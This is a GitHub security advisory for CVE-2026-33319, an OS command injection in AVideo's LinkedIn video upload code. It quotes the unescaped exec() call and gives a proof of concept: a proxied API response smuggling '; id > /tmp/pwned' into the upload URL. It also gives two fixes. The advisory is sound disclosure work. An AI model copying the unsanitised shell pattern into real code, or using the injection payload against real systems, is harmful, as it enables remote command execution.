{"id":"GHSA-w5ff-2mjc-4phc","summary":"AVideo has an OS Command Injection via Unescaped URL in LinkedIn Video Upload Shell Command","details":"## Summary\n\nThe `uploadVideoToLinkedIn()` method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via `escapeshellarg()`. If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.\n\n## Details\n\nThe vulnerability exists in `plugin/SocialMediaPublisher/Objects/SocialUploader.php`.\n\nThe `initializeLinkedInUploadSession()` method (line 649) sends a POST request to `https://api.linkedin.com/rest/videos?action=initializeUpload` and parses the JSON response at line 693:\n\n```php\n// SocialUploader.php:693\n$responseArray = json_decode($response, true);\n```\n\nThe parsed `uploadInstructions` array is iterated at line 532, and each `uploadUrl` is passed to `uploadVideoToLinkedIn()` at line 542:\n\n```php\n// SocialUploader.php:542\n$uploadResponse = self::uploadVideoToLinkedIn($instruction['uploadUrl'], $tmpFile);\n```\n\nThe `uploadVideoToLinkedIn()` method (line 711) constructs a shell command by directly concatenating both `$uploadUrl` and `$filePath` into a string passed to `exec()`:\n\n```php\n// SocialUploader.php:713-720\n$shellCmd = 'curl -v -H \"Content-Type:application/octet-stream\" --upload-file \"' .\n    $filePath . '\" \"' .\n    $uploadUrl . '\" 2\u003e&1';\n\n_error_log(\"Upload Video Shell Command:\\n\" . $shellCmd);\n\nexec($shellCmd, $o);\n```\n\nNeither `$uploadUrl` nor `$filePath` is sanitized with `escapeshellarg()`. A malicious URL such as `https://uploads.linkedin.local\" ; id ; echo \"` would break out of the quoted string and execute arbitrary commands.\n\nThe `$uploadUrl` originates from LinkedIn's API response — a trusted third-party source over HTTPS — so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.\n\n## PoC\n\nThis vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:\n\n**Step 1:** Set up a proxy that intercepts the LinkedIn API response and replaces the `uploadUrl` field:\n\n```json\n{\n  \"value\": {\n    \"uploadInstructions\": [\n      {\n        \"uploadUrl\": \"https://example.com\\\" ; id \u003e /tmp/pwned ; echo \\\"\",\n        \"firstByte\": 0,\n        \"lastByte\": 1024\n      }\n    ],\n    \"uploadToken\": \"token123\",\n    \"video\": \"urn:li:video:123\"\n  }\n}\n```\n\n**Step 2:** The resulting shell command becomes:\n\n```bash\ncurl -v -H \"Content-Type:application/octet-stream\" --upload-file \"/tmp/tmpfile\" \"https://uploads.linkedin.local\" ; id \u003e /tmp/pwned ; echo \"\" 2\u003e&1\n```\n\n**Step 3:** The `id` command executes as the web server user, writing output to `/tmp/pwned`.\n\n**Step 4:** Verify:\n\n```bash\ncat /tmp/pwned\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** If the LinkedIn API response is compromised, an attacker gains arbitrary command execution as the web server user (`www-data`).\n- **Confidentiality:** Full read access to application source code, configuration files (including database credentials), and any data accessible to the web server process.\n- **Integrity:** Ability to modify application files, inject backdoors, or alter database records.\n- **Practical risk is low** due to the high attack complexity — exploitation requires compromising a trusted HTTPS API response from LinkedIn. This is primarily a defense-in-depth issue.\n\n## Recommended Fix\n\nSanitize both `$uploadUrl` and `$filePath` with `escapeshellarg()` before interpolation into the shell command. Alternatively, replace the `exec()` call with PHP's native cURL functions (which are already used elsewhere in the same class):\n\n**Option 1 — Minimal fix with `escapeshellarg()`:**\n\n```php\n// plugin/SocialMediaPublisher/Objects/SocialUploader.php:711-715\nstatic function uploadVideoToLinkedIn($uploadUrl, $filePath)\n{\n    $shellCmd = 'curl -v -H \"Content-Type:application/octet-stream\" --upload-file ' .\n        escapeshellarg($filePath) . ' ' .\n        escapeshellarg($uploadUrl) . ' 2\u003e&1';\n```\n\n**Option 2 — Replace shell exec with native PHP cURL (preferred):**\n\n```php\nstatic function uploadVideoToLinkedIn($uploadUrl, $filePath)\n{\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, $uploadUrl);\n    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/octet-stream']);\n    curl_setopt($ch, CURLOPT_PUT, true);\n    curl_setopt($ch, CURLOPT_INFILE, fopen($filePath, 'r'));\n    curl_setopt($ch, CURLOPT_INFILESIZE, filesize($filePath));\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n    curl_setopt($ch, CURLOPT_HEADER, true);\n    curl_setopt($ch, CURLOPT_VERBOSE, true);\n\n    $response = curl_exec($ch);\n    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\n    $headers = substr($response, 0, $headerSize);\n    curl_close($ch);\n\n    // Extract ETag from response headers\n    $matches = [];\n    preg_match('/(etag:)(\\s?)(.*)(\\n)/i', $headers, $matches);\n    $etag = isset($matches[3]) ? trim($matches[3]) : null;\n\n    // ... rest of function\n}\n```\n\nOption 2 is strongly preferred as it eliminates the shell execution entirely, removing the injection surface and aligning with the PHP cURL usage already present in `initializeLinkedInUploadSession()` on line 664.","aliases":["CVE-2026-33319"],"modified":"2026-03-25T19:48:13.108998Z","published":"2026-03-19T12:45:38Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-19T12:45:38Z","nvd_published_at":"2026-03-22T17:17:09Z","cwe_ids":["CWE-78"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-w5ff-2mjc-4phc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33319"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/67d932eb05e1bc9b36796f73ff4f9fb47590598b"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-w5ff-2mjc-4phc/GHSA-w5ff-2mjc-4phc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"}]}